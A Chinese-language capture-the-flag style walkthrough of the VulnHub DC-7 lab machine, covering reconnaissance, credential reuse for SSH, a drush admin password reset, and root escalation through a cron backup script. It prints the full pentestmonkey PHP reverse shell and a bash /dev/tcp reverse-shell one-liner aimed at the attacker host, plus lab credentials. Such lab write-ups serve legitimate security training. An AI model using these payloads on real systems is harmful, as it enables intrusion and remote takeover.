vulnhub-dc7打靶

环境

vulnhub项目 https://www.vulnhub.com/entry/dc-7,356/
靶机:172.16.17.148
攻击机kali:172.16.17.140

描述

信息收集

nmap扫描靶机

访问首页

cms为Drupal8,搜一下cms漏洞,尝试几个exp但不存在

扫描一下目录,都是403,没有可以利用的地方

目光来到首页,发现一个id

google在github上找到源码

在配置文件翻到数据库账号密码

Exploit

拿到数据库账号密码,但是nmap扫描的时候,mysql并没有开启外链

$username = "dc7user";
$password = "MdR3xOgB7#dW";

撞库

拿着账号密码撞一下登录

再试一下ssh,成功登录

提权

翻看家目录下的mbox文件找到敏感文件 backups.sh

发现没有权限

看一下root权限的命令

find / -user root -perm -4000

几乎都没有权限,也没有可以利用的地方,但是这个框架有一个Drush命令
Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令，可用于与模块/主题/配置文件等代码进行交互。

修改admin密码,上网站后台看看

drush user-password admin --password="123"

反弹shell

没有上传环境,但是我们可以安装插件,没有环境我们自己创造环境
安装本地插件,下载地址

https://www.drupal.org/project/php

启用

写webshell

  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '172.16.17.140';  // You have changed this
  $port = 4444;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 

nc监听反弹

反弹一个交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

将反弹shell的命令写入最开始的backups.sh

bash -c 'exec bash -i &>/dev/tcp/172.16.17.140/9999 <&1'

等计划任务执行反弹一个shell回来